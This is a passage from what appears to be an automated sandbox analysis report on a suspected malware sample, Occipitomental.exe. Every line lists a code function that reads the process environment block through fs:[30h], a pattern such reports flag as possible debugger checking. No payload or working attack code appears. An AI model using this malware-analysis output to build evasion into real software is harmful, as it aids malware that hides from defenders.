        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356CB440 mov eax, dword ptr fs:[00000030h]6_2_356CB440
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356E340D mov eax, dword ptr fs:[00000030h]6_2_356E340D
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35747410 mov eax, dword ptr fs:[00000030h]6_2_35747410
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357914F6 mov eax, dword ptr fs:[00000030h]6_2_357914F6
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357914F6 mov eax, dword ptr fs:[00000030h]6_2_357914F6
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357694E0 mov eax, dword ptr fs:[00000030h]6_2_357694E0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357954DB mov eax, dword ptr fs:[00000030h]6_2_357954DB
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357674B0 mov eax, dword ptr fs:[00000030h]6_2_357674B0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356B74B0 mov eax, dword ptr fs:[00000030h]6_2_356B74B0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356B74B0 mov eax, dword ptr fs:[00000030h]6_2_356B74B0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356F34B0 mov eax, dword ptr fs:[00000030h]6_2_356F34B0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356C9486 mov eax, dword ptr fs:[00000030h]6_2_356C9486
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356C9486 mov eax, dword ptr fs:[00000030h]6_2_356C9486
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BB480 mov eax, dword ptr fs:[00000030h]6_2_356BB480
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BB765 mov eax, dword ptr fs:[00000030h]6_2_356BB765
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BB765 mov eax, dword ptr fs:[00000030h]6_2_356BB765
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BB765 mov eax, dword ptr fs:[00000030h]6_2_356BB765
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BB765 mov eax, dword ptr fs:[00000030h]6_2_356BB765
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3576375F mov eax, dword ptr fs:[00000030h]6_2_3576375F
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3576375F mov eax, dword ptr fs:[00000030h]6_2_3576375F
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3576375F mov eax, dword ptr fs:[00000030h]6_2_3576375F
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3576375F mov eax, dword ptr fs:[00000030h]6_2_3576375F
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3576375F mov eax, dword ptr fs:[00000030h]6_2_3576375F
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D3740 mov eax, dword ptr fs:[00000030h]6_2_356D3740
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D3740 mov eax, dword ptr fs:[00000030h]6_2_356D3740
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D3740 mov eax, dword ptr fs:[00000030h]6_2_356D3740
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35793749 mov eax, dword ptr fs:[00000030h]6_2_35793749
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3579B73C mov eax, dword ptr fs:[00000030h]6_2_3579B73C
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3579B73C mov eax, dword ptr fs:[00000030h]6_2_3579B73C
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3579B73C mov eax, dword ptr fs:[00000030h]6_2_3579B73C
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3579B73C mov eax, dword ptr fs:[00000030h]6_2_3579B73C
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356C3720 mov eax, dword ptr fs:[00000030h]6_2_356C3720
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356DF720 mov eax, dword ptr fs:[00000030h]6_2_356DF720
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356DF720 mov eax, dword ptr fs:[00000030h]6_2_356DF720
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356DF720 mov eax, dword ptr fs:[00000030h]6_2_356DF720
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3578972B mov eax, dword ptr fs:[00000030h]6_2_3578972B
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356C973A mov eax, dword ptr fs:[00000030h]6_2_356C973A
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356C973A mov eax, dword ptr fs:[00000030h]6_2_356C973A
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3577F72E mov eax, dword ptr fs:[00000030h]6_2_3577F72E
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356B9730 mov eax, dword ptr fs:[00000030h]6_2_356B9730
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356B9730 mov eax, dword ptr fs:[00000030h]6_2_356B9730
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356F5734 mov eax, dword ptr fs:[00000030h]6_2_356F5734
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356C5702 mov eax, dword ptr fs:[00000030h]6_2_356C5702
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356C5702 mov eax, dword ptr fs:[00000030h]6_2_356C5702
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356C7703 mov eax, dword ptr fs:[00000030h]6_2_356C7703
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356FF71F mov eax, dword ptr fs:[00000030h]6_2_356FF71F
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356FF71F mov eax, dword ptr fs:[00000030h]6_2_356FF71F
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356CD7E0 mov ecx, dword ptr fs:[00000030h]6_2_356CD7E0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356C57C0 mov eax, dword ptr fs:[00000030h]6_2_356C57C0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356C57C0 mov eax, dword ptr fs:[00000030h]6_2_356C57C0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356C57C0 mov eax, dword ptr fs:[00000030h]6_2_356C57C0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3577D7B0 mov eax, dword ptr fs:[00000030h]6_2_3577D7B0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3577D7B0 mov eax, dword ptr fs:[00000030h]6_2_3577D7B0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357937B6 mov eax, dword ptr fs:[00000030h]6_2_357937B6
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BF7BA mov eax, dword ptr fs:[00000030h]6_2_356BF7BA
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BF7BA mov eax, dword ptr fs:[00000030h]6_2_356BF7BA
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BF7BA mov eax, dword ptr fs:[00000030h]6_2_356BF7BA
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BF7BA mov eax, dword ptr fs:[00000030h]6_2_356BF7BA
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BF7BA mov eax, dword ptr fs:[00000030h]6_2_356BF7BA
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BF7BA mov eax, dword ptr fs:[00000030h]6_2_356BF7BA
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BF7BA mov eax, dword ptr fs:[00000030h]6_2_356BF7BA
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BF7BA mov eax, dword ptr fs:[00000030h]6_2_356BF7BA
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BF7BA mov eax, dword ptr fs:[00000030h]6_2_356BF7BA
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3574F7AF mov eax, dword ptr fs:[00000030h]6_2_3574F7AF
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3574F7AF mov eax, dword ptr fs:[00000030h]6_2_3574F7AF
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3574F7AF mov eax, dword ptr fs:[00000030h]6_2_3574F7AF
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3574F7AF mov eax, dword ptr fs:[00000030h]6_2_3574F7AF
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3574F7AF mov eax, dword ptr fs:[00000030h]6_2_3574F7AF
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357497A9 mov eax, dword ptr fs:[00000030h]6_2_357497A9
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356ED7B0 mov eax, dword ptr fs:[00000030h]6_2_356ED7B0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3577F78A mov eax, dword ptr fs:[00000030h]6_2_3577F78A
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356F9660 mov eax, dword ptr fs:[00000030h]6_2_356F9660
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356F9660 mov eax, dword ptr fs:[00000030h]6_2_356F9660
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3575D660 mov eax, dword ptr fs:[00000030h]6_2_3575D660
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BF626 mov eax, dword ptr fs:[00000030h]6_2_356BF626
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BF626 mov eax, dword ptr fs:[00000030h]6_2_356BF626
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BF626 mov eax, dword ptr fs:[00000030h]6_2_356BF626
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BF626 mov eax, dword ptr fs:[00000030h]6_2_356BF626
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BF626 mov eax, dword ptr fs:[00000030h]6_2_356BF626
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BF626 mov eax, dword ptr fs:[00000030h]6_2_356BF626
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BF626 mov eax, dword ptr fs:[00000030h]6_2_356BF626
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BF626 mov eax, dword ptr fs:[00000030h]6_2_356BF626
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BF626 mov eax, dword ptr fs:[00000030h]6_2_356BF626
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35795636 mov eax, dword ptr fs:[00000030h]6_2_35795636
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356F1607 mov eax, dword ptr fs:[00000030h]6_2_356F1607
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356FF603 mov eax, dword ptr fs:[00000030h]6_2_356FF603
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356C3616 mov eax, dword ptr fs:[00000030h]6_2_356C3616
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356C3616 mov eax, dword ptr fs:[00000030h]6_2_356C3616
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356F36EF mov eax, dword ptr fs:[00000030h]6_2_356F36EF
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3577D6F0 mov eax, dword ptr fs:[00000030h]6_2_3577D6F0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356ED6E0 mov eax, dword ptr fs:[00000030h]6_2_356ED6E0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356ED6E0 mov eax, dword ptr fs:[00000030h]6_2_356ED6E0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357536EE mov eax, dword ptr fs:[00000030h]6_2_357536EE
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357536EE mov eax, dword ptr fs:[00000030h]6_2_357536EE
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357536EE mov eax, dword ptr fs:[00000030h]6_2_357536EE
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357536EE mov eax, dword ptr fs:[00000030h]6_2_357536EE
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357536EE mov eax, dword ptr fs:[00000030h]6_2_357536EE
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357536EE mov eax, dword ptr fs:[00000030h]6_2_357536EE
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356F16CF mov eax, dword ptr fs:[00000030h]6_2_356F16CF
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356CB6C0 mov eax, dword ptr fs:[00000030h]6_2_356CB6C0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356CB6C0 mov eax, dword ptr fs:[00000030h]6_2_356CB6C0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356CB6C0 mov eax, dword ptr fs:[00000030h]6_2_356CB6C0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356CB6C0 mov eax, dword ptr fs:[00000030h]6_2_356CB6C0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356CB6C0 mov eax, dword ptr fs:[00000030h]6_2_356CB6C0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356CB6C0 mov eax, dword ptr fs:[00000030h]6_2_356CB6C0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3577F6C7 mov eax, dword ptr fs:[00000030h]6_2_3577F6C7
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357816CC mov eax, dword ptr fs:[00000030h]6_2_357816CC
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357816CC mov eax, dword ptr fs:[00000030h]6_2_357816CC
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357816CC mov eax, dword ptr fs:[00000030h]6_2_357816CC
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357816CC mov eax, dword ptr fs:[00000030h]6_2_357816CC
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BD6AA mov eax, dword ptr fs:[00000030h]6_2_356BD6AA
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BD6AA mov eax, dword ptr fs:[00000030h]6_2_356BD6AA
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356B76B2 mov eax, dword ptr fs:[00000030h]6_2_356B76B2
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356B76B2 mov eax, dword ptr fs:[00000030h]6_2_356B76B2
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356B76B2 mov eax, dword ptr fs:[00000030h]6_2_356B76B2
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3574368C mov eax, dword ptr fs:[00000030h]6_2_3574368C
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3574368C mov eax, dword ptr fs:[00000030h]6_2_3574368C
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3574368C mov eax, dword ptr fs:[00000030h]6_2_3574368C
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3574368C mov eax, dword ptr fs:[00000030h]6_2_3574368C
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35759179 mov eax, dword ptr fs:[00000030h]6_2_35759179
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BF172 mov eax, dword ptr fs:[00000030h]6_2_356BF172
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BF172 mov eax, dword ptr fs:[00000030h]6_2_356BF172
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BF172 mov eax, dword ptr fs:[00000030h]6_2_356BF172
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BF172 mov eax, dword ptr fs:[00000030h]6_2_356BF172
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BF172 mov eax, dword ptr fs:[00000030h]6_2_356BF172
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BF172 mov eax, dword ptr fs:[00000030h]6_2_356BF172
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BF172 mov eax, dword ptr fs:[00000030h]6_2_356BF172
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BF172 mov eax, dword ptr fs:[00000030h]6_2_356BF172
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BF172 mov eax, dword ptr fs:[00000030h]6_2_356BF172
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BF172 mov eax, dword ptr fs:[00000030h]6_2_356BF172
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BF172 mov eax, dword ptr fs:[00000030h]6_2_356BF172
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BF172 mov eax, dword ptr fs:[00000030h]6_2_356BF172
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BF172 mov eax, dword ptr fs:[00000030h]6_2_356BF172
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BF172 mov eax, dword ptr fs:[00000030h]6_2_356BF172
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BF172 mov eax, dword ptr fs:[00000030h]6_2_356BF172
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BF172 mov eax, dword ptr fs:[00000030h]6_2_356BF172
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BF172 mov eax, dword ptr fs:[00000030h]6_2_356BF172
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BF172 mov eax, dword ptr fs:[00000030h]6_2_356BF172
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BF172 mov eax, dword ptr fs:[00000030h]6_2_356BF172
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BF172 mov eax, dword ptr fs:[00000030h]6_2_356BF172
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BF172 mov eax, dword ptr fs:[00000030h]6_2_356BF172
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356B9148 mov eax, dword ptr fs:[00000030h]6_2_356B9148
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356B9148 mov eax, dword ptr fs:[00000030h]6_2_356B9148
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356B9148 mov eax, dword ptr fs:[00000030h]6_2_356B9148
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356B9148 mov eax, dword ptr fs:[00000030h]6_2_356B9148
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35795152 mov eax, dword ptr fs:[00000030h]6_2_35795152
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35753140 mov eax, dword ptr fs:[00000030h]6_2_35753140
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35753140 mov eax, dword ptr fs:[00000030h]6_2_35753140
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35753140 mov eax, dword ptr fs:[00000030h]6_2_35753140
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356C7152 mov eax, dword ptr fs:[00000030h]6_2_356C7152
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35797120 mov eax, dword ptr fs:[00000030h]6_2_35797120
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356C1131 mov eax, dword ptr fs:[00000030h]6_2_356C1131
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356C1131 mov eax, dword ptr fs:[00000030h]6_2_356C1131
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BB136 mov eax, dword ptr fs:[00000030h]6_2_356BB136
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BB136 mov eax, dword ptr fs:[00000030h]6_2_356BB136
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BB136 mov eax, dword ptr fs:[00000030h]6_2_356BB136
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BB136 mov eax, dword ptr fs:[00000030h]6_2_356BB136
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356E51EF mov eax, dword ptr fs:[00000030h]6_2_356E51EF
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356E51EF mov eax, dword ptr fs:[00000030h]6_2_356E51EF
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356E51EF mov eax, dword ptr fs:[00000030h]6_2_356E51EF
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356E51EF mov eax, dword ptr fs:[00000030h]6_2_356E51EF
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356E51EF mov eax, dword ptr fs:[00000030h]6_2_356E51EF
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356E51EF mov eax, dword ptr fs:[00000030h]6_2_356E51EF
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356E51EF mov eax, dword ptr fs:[00000030h]6_2_356E51EF
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356E51EF mov eax, dword ptr fs:[00000030h]6_2_356E51EF
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356E51EF mov eax, dword ptr fs:[00000030h]6_2_356E51EF
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356E51EF mov eax, dword ptr fs:[00000030h]6_2_356E51EF
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356E51EF mov eax, dword ptr fs:[00000030h]6_2_356E51EF
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356E51EF mov eax, dword ptr fs:[00000030h]6_2_356E51EF
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356E51EF mov eax, dword ptr fs:[00000030h]6_2_356E51EF
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356C51ED mov eax, dword ptr fs:[00000030h]6_2_356C51ED
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357671F9 mov esi, dword ptr fs:[00000030h]6_2_357671F9
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357931E1 mov eax, dword ptr fs:[00000030h]6_2_357931E1
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357951CB mov eax, dword ptr fs:[00000030h]6_2_357951CB
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356FD1D0 mov eax, dword ptr fs:[00000030h]6_2_356FD1D0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356FD1D0 mov ecx, dword ptr fs:[00000030h]6_2_356FD1D0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357711A4 mov eax, dword ptr fs:[00000030h]6_2_357711A4
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357711A4 mov eax, dword ptr fs:[00000030h]6_2_357711A4
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357711A4 mov eax, dword ptr fs:[00000030h]6_2_357711A4
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357711A4 mov eax, dword ptr fs:[00000030h]6_2_357711A4
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356DB1B0 mov eax, dword ptr fs:[00000030h]6_2_356DB1B0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35717190 mov eax, dword ptr fs:[00000030h]6_2_35717190
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35775180 mov eax, dword ptr fs:[00000030h]6_2_35775180
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35775180 mov eax, dword ptr fs:[00000030h]6_2_35775180
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3573D070 mov ecx, dword ptr fs:[00000030h]6_2_3573D070
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35795060 mov eax, dword ptr fs:[00000030h]6_2_35795060
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3574106E mov eax, dword ptr fs:[00000030h]6_2_3574106E
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D1070 mov eax, dword ptr fs:[00000030h]6_2_356D1070
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D1070 mov ecx, dword ptr fs:[00000030h]6_2_356D1070
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D1070 mov eax, dword ptr fs:[00000030h]6_2_356D1070
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D1070 mov eax, dword ptr fs:[00000030h]6_2_356D1070
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D1070 mov eax, dword ptr fs:[00000030h]6_2_356D1070
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D1070 mov eax, dword ptr fs:[00000030h]6_2_356D1070
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D1070 mov eax, dword ptr fs:[00000030h]6_2_356D1070
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D1070 mov eax, dword ptr fs:[00000030h]6_2_356D1070
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D1070 mov eax, dword ptr fs:[00000030h]6_2_356D1070
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D1070 mov eax, dword ptr fs:[00000030h]6_2_356D1070
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D1070 mov eax, dword ptr fs:[00000030h]6_2_356D1070
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D1070 mov eax, dword ptr fs:[00000030h]6_2_356D1070
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D1070 mov eax, dword ptr fs:[00000030h]6_2_356D1070
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3576705E mov ebx, dword ptr fs:[00000030h]6_2_3576705E
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3576705E mov eax, dword ptr fs:[00000030h]6_2_3576705E
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356EB052 mov eax, dword ptr fs:[00000030h]6_2_356EB052
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3578903E mov eax, dword ptr fs:[00000030h]6_2_3578903E
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3578903E mov eax, dword ptr fs:[00000030h]6_2_3578903E
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3578903E mov eax, dword ptr fs:[00000030h]6_2_3578903E
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3578903E mov eax, dword ptr fs:[00000030h]6_2_3578903E
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356E50E4 mov eax, dword ptr fs:[00000030h]6_2_356E50E4
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356E50E4 mov ecx, dword ptr fs:[00000030h]6_2_356E50E4
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357950D9 mov eax, dword ptr fs:[00000030h]6_2_357950D9
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D70C0 mov eax, dword ptr fs:[00000030h]6_2_356D70C0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D70C0 mov ecx, dword ptr fs:[00000030h]6_2_356D70C0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D70C0 mov ecx, dword ptr fs:[00000030h]6_2_356D70C0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D70C0 mov eax, dword ptr fs:[00000030h]6_2_356D70C0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D70C0 mov ecx, dword ptr fs:[00000030h]6_2_356D70C0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D70C0 mov ecx, dword ptr fs:[00000030h]6_2_356D70C0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D70C0 mov eax, dword ptr fs:[00000030h]6_2_356D70C0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D70C0 mov eax, dword ptr fs:[00000030h]6_2_356D70C0
